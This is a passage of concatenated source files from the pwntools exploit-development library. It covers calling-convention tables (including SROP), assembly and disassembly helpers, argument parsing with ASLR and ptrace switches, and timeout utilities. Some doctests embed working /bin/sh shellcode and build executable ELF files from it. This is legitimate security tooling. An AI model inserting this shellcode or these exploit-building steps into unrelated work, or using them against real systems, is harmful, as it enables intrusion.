        if re.match(r'^\.(text|data|section)', text, re.M):
            return True
        elif re.match(r'^\.\w+', text, re.M):
            return 0.1






# -*- coding: utf-8 -*-
from .context import LocalContext
from .context import context


class ABI(object):
    """
    Encapsulates information about a calling convention.
    """
    #: List or registers which should be filled with arguments before
    #: spilling onto the stack.
    register_arguments = []

    #: Minimum alignment of the stack.
    #: The value used is min(context.bytes, stack_alignment)
    #: This is necessary as Windows x64 frames must be 32-byte aligned.
    #: "Alignment" is considered with respect to the last argument on the stack.
    arg_alignment    = 1

    #: Minimum number of stack slots used by a function call
    #: This is necessary as Windows x64 requires using 4 slots on the stack
    stack_minimum      = 0

    #: Indicates that this ABI returns to the next address on the slot
    returns            = True

    def __init__(self, regs, align, minimum):
        self.register_arguments = regs
        self.arg_alignment      = align
        self.stack_minimum      = minimum

    @staticmethod
    @LocalContext
    def default():
        return {
        (32, 'i386', 'linux'):  linux_i386,
        (64, 'amd64', 'linux'): linux_amd64,
        (32, 'arm', 'linux'):   linux_arm,
        (32, 'thumb', 'linux'):   linux_arm,
        (32, 'mips', 'linux'):   linux_mips,
        (32, 'i386', 'windows'):  windows_i386,
        (64, 'amd64', 'windows'): windows_amd64,
        }[(context.bits, context.arch, context.os)]

    @staticmethod
    @LocalContext
    def syscall():
        return {
        (32, 'i386', 'linux'):  linux_i386_syscall,
        (64, 'amd64', 'linux'): linux_amd64_syscall,
        (32, 'arm', 'linux'):   linux_arm_syscall,
        (32, 'thumb', 'linux'):   linux_arm_syscall,
        (32, 'mips', 'linux'):   linux_mips_syscall,
        }[(context.bits, context.arch, context.os)]

    @staticmethod
    @LocalContext
    def sigreturn():
        return {
        (32, 'i386', 'linux'):  linux_i386_sigreturn,
        (64, 'amd64', 'linux'): linux_amd64_sigreturn,
        (32, 'arm', 'linux'):   linux_arm_sigreturn,
        (32, 'thumb', 'linux'):   linux_arm_sigreturn,
        }[(context.bits, context.arch, context.os)]

class SyscallABI(ABI):
    """
    The syscall ABI treats the syscall number as the zeroth argument,
    which must be loaded into the specified register.
    """
    def __init__(self, register_arguments, *a, **kw):
        super(SyscallABI, self).__init__(register_arguments, *a, **kw)
        self.syscall_register = register_arguments[0]

class SigreturnABI(SyscallABI):
    """
    The sigreturn ABI is similar to the syscall ABI, except that
    both PC and SP are loaded from the stack.  Because of this, there
    is no 'return' slot necessary on the stack.
    """
    returns = False


linux_i386   = ABI([], 4, 0)
linux_amd64  = ABI(['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
linux_arm    = ABI(['r0', 'r1', 'r2', 'r3'], 8, 0)
linux_aarch64 = ABI(['x0', 'x1', 'x2', 'x3'], 16, 0)
linux_mips  = ABI(['$a0','$a1','$a2','$a3'], 4, 0)

linux_i386_syscall = SyscallABI(['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
linux_amd64_syscall = SyscallABI(['rax','rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9'],   8, 0)
linux_arm_syscall   = SyscallABI(['r7', 'r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6'], 4, 0)
linux_aarch64_syscall   = SyscallABI(['x8', 'x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6'], 16, 0)
linux_mips_syscall  = ABI(['$v0', '$a0','$a1','$a2','$a3'], 4, 0)

linux_i386_sigreturn = SigreturnABI(['eax'], 4, 0)
linux_amd64_sigreturn = SigreturnABI(['rax'], 4, 0)
linux_arm_sigreturn = SigreturnABI(['r7'], 4, 0)

windows_i386  = ABI([], 4, 0)
windows_amd64 = ABI(['rcx','rdx','r8','r9'], 32, 32)

# Fake ABIs used by SROP
linux_i386_srop = ABI(['eax'], 4, 0)
linux_amd64_srop = ABI(['rax'], 4, 0)
linux_arm_srop = ABI(['r7'], 4, 0)






# -*- coding: utf-8 -*-
r"""
Utilities for assembling and disassembling code.

Architecture Selection
------------------------

    Architecture, endianness, and word size are selected by using :mod:`pwnlib.context`.

    Any parameters which can be specified to ``context`` can also be specified as
    keyword arguments to either :func:`asm` or :func:`disasm`.

Assembly
------------------------

    To assemble code, simply invoke :func:`asm` on the code to assemble.

        >>> asm('mov eax, 0')
        '\xb8\x00\x00\x00\x00'

    Additionally, you can use constants as defined in the :mod:`pwnlib.constants`
    module.

        >>> asm('mov eax, SYS_execve')
        '\xb8\x0b\x00\x00\x00'

    Finally, :func:`asm` is used to assemble shellcode provided by ``pwntools``
    in the :mod:`shellcraft` module.

        >>> asm(shellcraft.sh())
        'jhh///sh/binj\x0bX\x89\xe31\xc9\x99\xcd\x80'

Disassembly
------------------------

    To disassemble code, simply invoke :func:`disasm` on the bytes to disassemble.

    >>> disasm('\xb8\x0b\x00\x00\x00')
    '   0:   b8 0b 00 00 00          mov    eax,0xb'

"""
import errno
import os
import platform
import re
import shutil
import string
import subprocess
import sys
import tempfile
from collections import defaultdict
from glob import glob
from os import environ
from os import path

from . import atexit
from . import shellcraft
from .context import LocalContext
from .context import context
from .log import getLogger

log = getLogger(__name__)

__all__ = ['asm', 'cpp', 'disasm', 'make_elf', 'make_elf_from_assembly']

_basedir = path.split(__file__)[0]
_incdir  = path.join(_basedir, 'data', 'includes')

@LocalContext
def which_binutils(util):
    """
    Finds a binutils in the PATH somewhere.
    Expects that the utility is prefixed with the architecture name.

    Examples:

        >>> import platform
        >>> which_binutils('as', arch=platform.machine())
        '.../bin/as'
        >>> which_binutils('as', arch='arm') #doctest: +ELLIPSIS
        '.../bin/arm-...-as'
        >>> which_binutils('as', arch='powerpc') #doctest: +ELLIPSIS
        '.../bin/powerpc...-as'
        >>> which_binutils('as', arch='msp430') #doctest: +SKIP
        ...
        Traceback (most recent call last):
        ...
        Exception: Could not find 'as' installed for ContextType(arch = 'msp430')
    """
    arch = context.arch
    bits = context.bits

    # Fix up pwntools vs Debian triplet naming, and account
    # for 'thumb' being its own pwntools architecture.
    arches = [arch] + {
        'thumb':  ['arm',    'aarch64'],
        'i386':   ['x86_64', 'amd64'],
        'i686':   ['x86_64', 'amd64'],
        'amd64':  ['x86_64', 'i386'],
    }.get(arch, [])

    # If one of the candidate architectures matches the native
    # architecture, use that as a last resort.
    machine = platform.machine()
    machine = 'i386' if machine == 'i686' else machine
    try:
        with context.local(arch = machine):
            if context.arch in arches:
                arches.append(None)
    except AttributeError:
        log.warn_once("Your local binutils won't be used because architecture %r is not supported." % machine)

    utils = [util]

    # hack for homebrew-installed binutils on mac
    if platform.system() == 'Darwin':
        utils = ['g'+util, util]

    for arch in arches:
        for gutil in utils:
            # e.g. objdump
            if arch is None: pattern = gutil

            # e.g. aarch64-linux-gnu-objdump
            else:       pattern = '%s*linux*-%s' % (arch,gutil)

            for dir in environ['PATH'].split(':'):
                res = sorted(glob(path.join(dir, pattern)))
                if res:
                    return res[0]

    locals()['context'] = context
    log.warning("""
Could not find %(util)r installed for %(context)s
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
""".strip() % locals())
    raise Exception('Could not find %(util)r installed for %(context)s' % locals())

checked_assembler_version = defaultdict(lambda: False)

def _assembler():
    gas = which_binutils('as')

    E = {
        'big':    '-EB',
        'little': '-EL'
    }[context.endianness]

    B = '-%s' % context.bits

    assemblers = {
        'i386'   : [gas, B],
        'amd64'  : [gas, B],

        # Most architectures accept -EL or -EB
        'thumb'  : [gas, '-mthumb', E],
        'arm'    : [gas, E],
        'aarch64': [gas, E],
        'mips'   : [gas, E, B],
        'mips64' : [gas, E, B],
        'sparc':   [gas, E, B],
        'sparc64': [gas, E, B],

        # Powerpc wants -mbig or -mlittle, and -mppc32 or -mppc64
        'powerpc':   [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits],
        'powerpc64': [gas, '-m%s' % context.endianness, '-mppc%s' % context.bits],

        # ia64 only accepts -mbe or -mle
        'ia64':    [gas, '-m%ce' % context.endianness[0]]
    }

    assembler = assemblers.get(context.arch, [gas])

    if not checked_assembler_version[gas]:
        checked_assembler_version[gas] = True
        result = subprocess.check_output([gas, '--version','/dev/null'],
                                         stderr=subprocess.STDOUT)
        version = re.search(r' (\d\.\d+)', result).group(1)
        if version < '2.19':
            log.warn_once('Your binutils version is too old and may not work!\n'  + \
                'Try updating with: https://docs.pwntools.com/en/stable/install/binutils.html\n' + \
                'Reported Version: %r' % result.strip())


    return assembler

def _linker():
    ld  = [which_binutils('ld')]
    bfd = ['--oformat=' + _bfdname()]

    E = {
        'big':    '-EB',
        'little': '-EL'
    }[context.endianness]

    arguments = {
        'i386': ['-m', 'elf_i386'],
    }.get(context.arch, [])

    return ld + bfd + [E] + arguments

def _objcopy():
    return [which_binutils('objcopy')]

def _objdump():
    path = [which_binutils('objdump')]

    if context.arch in ('i386', 'amd64'):
        path += ['-Mintel']

    return path

def _include_header():
    os   = context.os
    arch = context.arch
    include = '%s/%s.h' % (os, arch)

    if not include or not path.exists(path.join(_incdir, include)):
        log.warn_once("Could not find system include headers for %s-%s" % (arch,os))
        return '\n'

    return '#include <%s>\n' % include


def _arch_header():
    prefix  = ['.section .shellcode,"awx"',
                '.global _start',
                '.global __start',
                '_start:',
                '__start:']
    headers = {
        'i386'  :  ['.intel_syntax noprefix'],
        'amd64' :  ['.intel_syntax noprefix'],
        'arm'   : ['.syntax unified',
                   '.arch armv7-a',
                   '.arm'],
        'thumb' : ['.syntax unified',
                   '.arch armv7-a',
                   '.thumb'],
        'mips'  : ['.set mips2',
                   '.set noreorder',
                   ],
    }

    return '\n'.join(prefix + headers.get(context.arch, [])) + '\n'

def _bfdname():
    arch = context.arch
    E    = context.endianness

    bfdnames = {
        'i386'    : 'elf32-i386',
        'aarch64' : 'elf64-%saarch64' % E,
        'amd64'   : 'elf64-x86-64',
        'arm'     : 'elf32-%sarm' % E,
        'thumb'   : 'elf32-%sarm' % E,
        'mips'    : 'elf32-trad%smips' % E,
        'mips64'  : 'elf64-trad%smips' % E,
        'alpha'   : 'elf64-alpha',
        'cris'    : 'elf32-cris',
        'ia64'    : 'elf64-ia64-%s' % E,
        'm68k'    : 'elf32-m68k',
        'powerpc' : 'elf32-powerpc',
        'powerpc64' : 'elf64-powerpc',
        'vax'     : 'elf32-vax',
        'sparc'   : 'elf32-sparc',
        'sparc64' : 'elf64-sparc',
    }

    if arch in bfdnames:
        return bfdnames[arch]
    else:
        raise Exception("Cannot find bfd name for architecture %r" % arch)


def _bfdarch():
    arch = context.arch
    convert = {
    'i386': 'i386',
    'amd64': 'i386:x86-64',
    'thumb': 'arm',
    'ia64': 'ia64-elf64'
    }

    if arch in convert:
        return convert[arch]

    return arch

def _run(cmd, stdin = None):
    log.debug(subprocess.list2cmdline(cmd))
    try:
        proc = subprocess.Popen(
            cmd,
            stdin  = subprocess.PIPE,
            stdout = subprocess.PIPE,
            stderr = subprocess.PIPE
        )
        stdout, stderr = proc.communicate(stdin)
        exitcode = proc.wait()
    except OSError as e:
        if e.errno == errno.ENOENT:
            log.exception('Could not run %r the program' % cmd[0])
        else:
            raise

    if (exitcode, stderr) != (0, ''):
        msg = 'There was an error running %s:\n' % repr(cmd)
        if exitcode != 0:
            msg += 'It had the exitcode %d.\n' % exitcode
        if stderr != '':
            msg += 'It had this on stdout:\n%s\n' % stderr
        log.error(msg)

    return stdout

@LocalContext
def cpp(shellcode):
    r"""cpp(shellcode, ...) -> str

    Runs CPP over the given shellcode.

    The output will always contain exactly one newline at the end.

    Arguments:
        shellcode(str): Shellcode to preprocess

    Kwargs:
        Any arguments/properties that can be set on ``context``

    Examples:

        .. doctest::

            >>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
            'mov al, 164\n'
            >>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
            'weee (0+164)\n'
            >>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
            '(0+164)\n'
            >>> cpp("SYS_setresuid", os = "freebsd")
            '311\n'
    """
    arch = context.arch
    os   = context.os
    code = _include_header() + shellcode
    cmd  = [
        'cpp',
        '-C',
        '-nostdinc',
        '-undef',
        '-P',
        '-I' + _incdir,
        '/dev/stdin'
    ]
    return _run(cmd, code).strip('\n').rstrip() + '\n'

@LocalContext
def make_elf_from_assembly(assembly, vma = None, extract=False, shared = False):
    r"""
    Builds an ELF file with the specified assembly as its
    executable code.

    Arguments:

        assembly(str): Assembly
        vma(int): Load address of the binary
        extract(bool): Whether to return the data extracted from the file created,
                       or the path to it.

    Returns:

        The path to the assembled ELF (extract=False), or the data
        of the assembled ELF.

    Example:

        >>> context.clear()
        >>> context.arch = 'amd64'
        >>> sc = 'push rbp; mov rbp, rsp;'
        >>> sc += shellcraft.echo('Hello\n')
        >>> sc += 'mov rsp, rbp; pop rbp; ret'
        >>> solib = make_elf_from_assembly(sc, shared=1)
        >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
        'Hello\nWorld\n'
    """
    if shared and vma:
        log.error("Cannot specify a VMA for a shared library.")

    if vma is None:
        if shared:
            vma = 0
        else:
            vma = 0x10000000

    if context.arch == 'thumb':
        to_thumb = shellcraft.arm.to_thumb()

        if not assembly.startswith(to_thumb):
            assembly = to_thumb + assembly

    path = asm(assembly, vma = vma, extract = extract, shared = shared)

    if not extract:
        os.chmod(path, 0755)

    return path

@LocalContext
def make_elf(data, vma = None, strip=True, extract=True, shared=False):
    r"""
    Builds an ELF file with the specified binary data as its
    executable code.

    Arguments:
        data(str): Assembled code
        vma(int):  Load address for the ELF file

    Examples:

        This example creates an i386 ELF that just does
        execve('/bin/sh',...).

        >>> context.clear()
        >>> context.arch = 'i386'
        >>> context.bits = 32
        >>> filename = tempfile.mktemp()
        >>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
        >>> data = make_elf(bin_sh)
        >>> with open(filename,'wb+') as f:
        ...     f.write(data)
        ...     f.flush()
        >>> os.chmod(filename,0777)
        >>> p = process(filename)
        >>> p.sendline('echo Hello; exit')
        >>> p.recvline()
        'Hello\n'
    """
    retval = None

    if shared and vma:
        log.error("Cannot specify a VMA for a shared library.")

    if context.arch == 'thumb':
        to_thumb = asm(shellcraft.arm.to_thumb(), arch='arm')

        if not data.startswith(to_thumb):
            data = to_thumb + data


    assembler = _assembler()
    linker    = _linker()
    code      = _arch_header()
    code      += '.string "%s"' % ''.join('\\x%02x' % ord(c) for c in data)
    code      += '\n'

    log.debug("Building ELF:\n" + code)

    tmpdir    = tempfile.mkdtemp(prefix = 'pwn-asm-')
    step1     = path.join(tmpdir, 'step1-asm')
    step2     = path.join(tmpdir, 'step2-obj')
    step3     = path.join(tmpdir, 'step3-elf')

    try:
        with open(step1, 'wb+') as f:
            f.write(code)

        _run(assembler + ['-o', step2, step1])

        linker_options = ['-z', 'execstack']
        if vma:
            linker_options += ['--section-start=.shellcode=%#x' % vma,
                               '--entry=%#x' % vma]
        elif shared:
            linker_options += ['-shared', '-init=_start']

        linker_options += ['-o', step3, step2]

        _run(linker + linker_options)

        if strip:
            _run([which_binutils('objcopy'), '-Sg', step3])
            _run([which_binutils('strip'), '--strip-unneeded', step3])

        if not extract:
            os.chmod(step3, 0755)
            retval = step3

        else:
            with open(step3, 'r') as f:
                retval = f.read()
    except Exception:
        log.exception("An error occurred while building an ELF:\n%s" % code)
    else:
        atexit.register(lambda: shutil.rmtree(tmpdir))

    return retval

@LocalContext
def asm(shellcode, vma = 0, extract = True, shared = False):
    r"""asm(code, vma = 0, extract = True, ...) -> str

    Runs :func:`cpp` over a given shellcode and then assembles it into bytes.

    To see which architectures or operating systems are supported,
    look in :mod:`pwnlib.contex`.

    To support all these architecture, we bundle the GNU assembler
    and objcopy with pwntools.

    Arguments:
      shellcode(str): Assembler code to assemble.
      vma(int):       Virtual memory address of the beginning of assembly
      extract(bool):  Extract the raw assembly bytes from the assembled
                      file.  If ``False``, returns the path to an ELF file
                      with the assembly embedded.

    Kwargs:
        Any arguments/properties that can be set on ``context``

    Examples:

        .. doctest::

            >>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
            '\xb8]\x00\x00\x00'
            >>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
            '\xb8\x17\x00\x00\x00'
            >>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
            'H\xc7\xc0\x17\x00\x00\x00'
            >>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
            'R\x00\xa0\xe3'
    """
    result = ''

    assembler = _assembler()
    linker    = _linker()
    objcopy   = _objcopy() + ['-j', '.shellcode', '-Obinary']
    code      = ''
    code      += _arch_header()
    code      += cpp(shellcode)

    log.debug('Assembling\n%s' % code)

    tmpdir    = tempfile.mkdtemp(prefix = 'pwn-asm-')
    step1     = path.join(tmpdir, 'step1')
    step2     = path.join(tmpdir, 'step2')
    step3     = path.join(tmpdir, 'step3')
    step4     = path.join(tmpdir, 'step4')

    try:
        with open(step1, 'w') as fd:
            fd.write(code)

        _run(assembler + ['-o', step2, step1])

        if not vma:
            shutil.copy(step2, step3)

        if vma or not extract:
            ldflags = ['-z', 'execstack', '-o', step3, step2]
            if vma:
                ldflags += ['--section-start=.shellcode=%#x' % vma,
                            '--entry=%#x' % vma,
                            '-z', 'max-page-size=4096',
                            '-z', 'common-page-size=4096']
            elif shared:
                ldflags += ['-shared', '-init=_start']
            _run(linker + ldflags)

        elif file(step2,'rb').read(4) == '\x7fELF':
            # Sanity check for seeing if the output has relocations
            relocs = subprocess.check_output(
                [which_binutils('readelf'), '-r', step2]
            ).strip()
            if extract and len(relocs.split('\n')) > 1:
                log.error('Shellcode contains relocations:\n%s' % relocs)
        else:
            shutil.copy(step2, step3)

        if not extract:
            return step3

        _run(objcopy + [step3, step4])

        with open(step4) as fd:
            result = fd.read()

    except Exception:
        lines = '\n'.join('%4i: %s' % (i+1,line) for (i,line) in enumerate(code.splitlines()))
        log.exception("An error occurred while assembling:\n%s" % lines)
    else:
        atexit.register(lambda: shutil.rmtree(tmpdir))

    return result

@LocalContext
def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
    """disasm(data, ...) -> str

    Disassembles a bytestring into human readable assembler.

    To see which architectures are supported,
    look in :mod:`pwnlib.contex`.

    To support all these architecture, we bundle the GNU objcopy
    and objdump with pwntools.

    Arguments:
      data(str): Bytestring to disassemble.
      vma(int): Passed through to the --adjust-vma argument of objdump
      byte(bool): Include the hex-printed bytes in the disassembly
      offset(bool): Include the virtual memory address in the disassembly

    Kwargs:
      Any arguments/properties that can be set on ``context``

    Examples:

        .. doctest::

          >>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
             0:   b8 5d 00 00 00          mov    eax,0x5d
          >>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
             0:   mov    eax,0x5d
          >>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
          mov    eax,0x5d
          >>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
             0:   b8 17 00 00 00          mov    eax,0x17
          >>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
             0:   48 c7 c0 17 00 00 00    mov    rax,0x17
          >>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
             0:   e51f0004        ldr     r0, [pc, #-4]   ; 0x4
             4:   00900052        addseq  r0, r0, r2, asr r0
          >>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
             0:   f04f 0005       mov.w   r0, #5
          >>>
    """
    result = ''

    arch   = context.arch
    os     = context.os

    tmpdir = tempfile.mkdtemp(prefix = 'pwn-disasm-')
    step1  = path.join(tmpdir, 'step1')
    step2  = path.join(tmpdir, 'step2')

    bfdarch = _bfdarch()
    bfdname = _bfdname()
    objdump = _objdump() + ['-d', '--adjust-vma', str(vma), '-b', bfdname]
    objcopy = _objcopy() + [
        '-I', 'binary',
        '-O', bfdname,
        '-B', bfdarch,
        '--set-section-flags', '.data=code',
        '--rename-section', '.data=.text',
    ]

    if arch == 'thumb':
        objcopy += ['--prefix-symbol=$t.']
    else:
        objcopy += ['-w', '-N', '*']

    try:

        with open(step1, 'w') as fd:
            fd.write(data)

        res = _run(objcopy + [step1, step2])

        output0 = subprocess.check_output(objdump + [step2])
        output1 = output0.split('<.text>:\n')

        if len(output1) != 2:
            log.error('Could not find .text in objdump output:\n%s' % output0)

        result = output1[1].strip('\n').rstrip().expandtabs()
    except Exception:
        log.exception("An error occurred while disassembling:\n%s" % data)
    else:
        atexit.register(lambda: shutil.rmtree(tmpdir))


    lines = []
    pattern = '^( *[0-9a-f]+: *)((?:[0-9a-f]+ )+ *)(.*)'
    for line in result.splitlines():
        try:
            o, b, i = re.search(pattern, line).groups()
        except:
            lines.append(line)
            continue

        line = ''

        if offset:
            line += o
        if byte:
            line += b
        if instructions:
            line += i
        lines.append(line)

    return '\n'.join(lines)






#!/usr/bin/env python2
"""
"""
import collections
import logging
import os
import string
import sys

from . import term
from .context import context

term_mode  = True
args       = collections.defaultdict(str)
env_prefix = 'PWNLIB_'

def isident(s):
    """
    Helper function to check whether a string is a valid identifier,
    as passed in on the command-line.
    """
    first = string.uppercase + '_'
    body = string.digits + first
    if not s:
        return False
    if s[0] not in first:
        return False
    if not all(c in body for c in s[1:]):
        return False
    return True

def asbool(s):
    """
    Convert a string to its boolean value
    """
    if   s.lower() == 'true':
        return True
    elif s.lower() == 'false':
        return False
    elif s.isdigit():
        return bool(int(s))
    else:
        raise ValueError('must be integer or boolean: %r' % s)

def set_log_level(x):
    with context.local(log_level=x):
        context.defaults['log_level']=context.log_level

def set_log_file(x):
    context.log_file=x

def set_log_level_error(x):
    set_log_level('error')

def set_log_level_debug(x):
    set_log_level('debug')

def set_noterm(v):
    if asbool(v):
        global term_mode
        term_mode = False

def set_timeout(v):
    context.defaults['timeout'] = int(v)

def set_randomize(v):
    context.defaults['randomize'] = asbool(v)

def set_aslr(v):
    context.defaults['aslr'] = not asbool(v)

def set_noptrace(v):
    context.defaults['noptrace'] = asbool(v)

hooks = {
    'LOG_LEVEL': set_log_level,
    'LOG_FILE': set_log_file,
    'DEBUG': set_log_level_debug,
    'NOTERM': set_noterm,
    'SILENT': set_log_level_error,
    'RANDOMIZE': set_randomize,
    'TIMEOUT': set_timeout,
    'NOASLR': set_aslr,
    'NOPTRACE': set_noptrace,
}

def initialize():
    global args, term_mode

    # Hack for readthedocs.org
    if 'READTHEDOCS' in os.environ:
        os.environ['PWNLIB_NOTERM'] = '1'

    for k, v in os.environ.items():
        if not k.startswith(env_prefix):
            continue
        k = k[len(env_prefix):]

        if k in hooks:
            hooks[k](v)
        elif isident(k):
            args[k] = v

    argv = sys.argv[:]
    for arg in sys.argv[:]:
        orig  = arg
        value = 'True'

        if '=' in arg:
            arg, value = arg.split('=')

        if arg in hooks:
            sys.argv.remove(orig)
            hooks[arg](value)

        elif isident(arg):
            sys.argv.remove(orig)
            args[arg] = value

    if term_mode:
        term.init()






from .context import LocalContext
from .context import context
from .log import getLogger
from .util import misc

log = getLogger(__name__)

@LocalContext
def get_qemu_arch():
    """
    Returns the name which QEMU uses for the currently selected
    architecture.

    >>> get_qemu_arch()
    'i386'
    >>> get_qemu_arch(arch='powerpc')
    'ppc'
    """
    return {
        ('amd64', 'little'):     'x86_64',
        ('arm', 'big'):          'armeb',
        ('mips', 'little'):      'mipsel',
        ('mips64', 'little'):    'mips64el',
        ('powerpc', 'big'):      'ppc',
        ('powerpc64', 'big'):    'ppc64',
        ('powerpc64', 'little'): 'ppc64le',
        ('thumb', 'little'):     'arm',
        ('thumb', 'big'):        'armeb',
    }.get((context.arch, context.endian), context.arch)

@LocalContext
def get_qemu_user():
    """
    Returns the path to the QEMU-user binary for the currently
    selected architecture.

    >>> get_qemu_user()
    'qemu-i386-static'
    >>> get_qemu_user(arch='thumb')
    'qemu-arm-static'
    """
    arch   = get_qemu_arch()
    normal = 'qemu-' + arch
    static = normal + '-static'

    if misc.which(static):
        return static

    if misc.which(normal):
        return normal

    log.warn_once("Neither %r nor %r are available" % (normal, static))






#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Timeout encapsulation, complete with countdowns and scope managers.
"""
import time

import pwnlib


class _DummyContextClass(object):
    def __enter__(self):   pass
    def __exit__(self,*a): pass

_DummyContext = _DummyContextClass()

class _countdown_handler(object):
    def __init__(self, obj, timeout):
        self.obj     = obj
        self.timeout = timeout

    def __enter__(self):
        self.old_timeout  = self.obj._timeout
        self.old_stop     = self.obj._stop

        self.obj._stop    = time.time() + self.timeout

        if self.old_stop:
            self.obj._stop = min(self.obj._stop, self.old_stop)

        self.obj._timeout = self.timeout
    def __exit__(self, *a):
        self.obj._timeout = self.old_timeout
        self.obj._stop    = self.old_stop

class _local_handler(object):
    def __init__(self, obj, timeout):
        self.obj     = obj
        self.timeout = timeout
    def __enter__(self):
        self.old_timeout  = self.obj._timeout
        self.old_stop     = self.obj._stop

        self.obj._stop    = 0
        self.obj._timeout = self.timeout # leverage validation
        self.obj.timeout_change()

    def __exit__(self, *a):
        self.obj._timeout = self.old_timeout
        self.obj._stop    = self.old_stop
        self.obj.timeout_change()

class TimeoutDefault(object):
    def __repr__(self): return "pwnlib.timeout.Timeout.default"
    def __str__(self): return "<default timeout>"

class Maximum(float):
    def __repr__(self):
        return 'pwnlib.timeout.maximum'
maximum = Maximum(2**20)

class Timeout(object):
    """
    Implements a basic class which has a timeout, and support for
    scoped timeout countdowns.

    Valid timeout values are:

    - ``Timeout.default`` use the global default value (``context.default``)
    - ``Timeout.forever`` or ``None`` never time out
    - Any positive float, indicates timeouts in seconds

    Example:

        >>> context.timeout = 30
        >>> t = Timeout()
        >>> t.timeout == 30
        True
        >>> t = Timeout(5)
        >>> t.timeout == 5
        True
        >>> i = 0
        >>> with t.countdown():
        ...     print (4 <= t.timeout and t.timeout <= 5)
        ...
        True
        >>> with t.countdown(0.5):
        ...     while t.timeout:
        ...         print round(t.timeout,1)
        ...         time.sleep(0.1)
        0.5
        0.4
        0.3
        0.2
        0.1
        >>> print t.timeout
        5.0
        >>> with t.local(0.5):
        ...     for i in range(5):
        ...         print round(t.timeout,1)
        ...         time.sleep(0.1)
        0.5
        0.5
        0.5
        0.5
        0.5
        >>> print t.timeout
        5.0
    """


    #: Value indicating that the timeout should not be changed
    default = TimeoutDefault()

    #: Value indicating that a timeout should not ever occur
    forever = None

    #: Maximum value for a timeout.  Used to get around platform issues
    #: with very large timeouts.
    #:
    #: OSX does not permit setting socket timeouts to 2**22.
    #: Assume that if we receive a timeout of 2**21 or greater,
    #: that the value is effectively infinite.
    maximum = maximum

    def __init__(self, timeout=default):
        self._stop    = 0
        self.timeout = self._get_timeout_seconds(timeout)

    @property
    def timeout(self):
        """
        Timeout for obj operations.  By default, uses ``context.timeout``.
        """
        timeout = self._timeout
        stop    = self._stop

        if not stop:
            return timeout

        return max(stop-time.time(), 0)

    @timeout.setter
    def timeout(self, value):
        assert not self._stop
        self._timeout = self._get_timeout_seconds(value)
        self.timeout_change()

    def _get_timeout_seconds(self, value):
        if value is self.default:
            value = pwnlib.context.context.timeout

        elif value is self.forever:
            value = self.maximum

        else:
            value = float(value)

            if value is value < 0:
                raise AttributeError("timeout: Timeout cannot be negative")

            if value > self.maximum:
                value = self.maximum
        return value

    def countdown_active(self):
        return (self._stop == 0) or (self._stop > time.time())

    def timeout_change(self):
        """
        Callback for subclasses to hook a timeout change.
        """
        pass

    def countdown(self, timeout = default):
        """
        Scoped timeout setter.  Sets the timeout within the scope,
        and restores it when leaving the scope.

        When accessing :attr:`timeout` within the scope, it will be
        calculated against the time when the scope was entered, in a
        countdown fashion.

        If ``None`` is specified for ``timeout``, then the current
        timeout is used is made.  This allows ``None`` to be specified
        as a default argument with less complexity.
        """
        # Don't count down from infinity
        if timeout is self.maximum:
            return _DummyContext

        if timeout is self.default and self.timeout is self.maximum:
            return _DummyContext

        if timeout is self.default:
            timeout = self._timeout

        return _countdown_handler(self, timeout)

    def local(self, timeout):
        """
        Scoped timeout setter.  Sets the timeout within the scope,
        and restores it when leaving the scope.
        """
        if timeout is self.default or timeout == self.timeout:
            return _DummyContext

        return _local_handler(self, timeout)






__version__ = '3.1.0dev'






# -*- coding: utf-8 -*-
"""
Topographical sort
"""
from collections import OrderedDict
from collections import defaultdict
from random import randint
from random import shuffle

from .context import context
from .log import getLogger

log = getLogger(__name__)

def check_cycle(reg, assignments):
    """Walk down the assignment list of a register,
    return the path walked if it is encountered again.

    Returns:

        The list of register involved in the cycle.
        If there is no cycle, this is an empty list.

    Example:

        >>> check_cycle('a', {'a': 1})
        []
        >>> check_cycle('a', {'a': 'a'})
        ['a']
        >>> check_cycle('a', {'a': 'b', 'b': 'a'})
        ['a', 'b']
        >>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})
        []
        >>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})
        ['a', 'b', 'c', 'd']
    """
    return check_cycle_(reg, assignments, [])

def check_cycle_(reg, assignments, path):
    target = assignments[reg]
    path.append(reg)

    # No cycle, some other value (e.g. 1)
    if target not in assignments:
        return []

    # Found a cycle
    if target in path:
        # Does the cycle *start* with target?
        # This determines whether the original register is
        # in the cycle, or just depends on registers in one.
        if target == path[0]:
            return path

        # Just depends on one.
        return []

    # Recurse
    return check_cycle_(target, assignments, path)

def extract_dependencies(reg, assignments):
    """Return a list of all registers which directly
    depend on the specified register.

    Example:

        >>> extract_dependencies('a', {'a': 1})
        []
        >>> extract_dependencies('a', {'a': 'b', 'b': 1})
        []
        >>> extract_dependencies('a', {'a': 1, 'b': 'a'})
        ['b']
        >>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
        ['b', 'c']
    """
    # sorted() is only for determinism
    return sorted([k for k,v in assignments.items() if v == reg])


def resolve_order(reg, deps):
    """
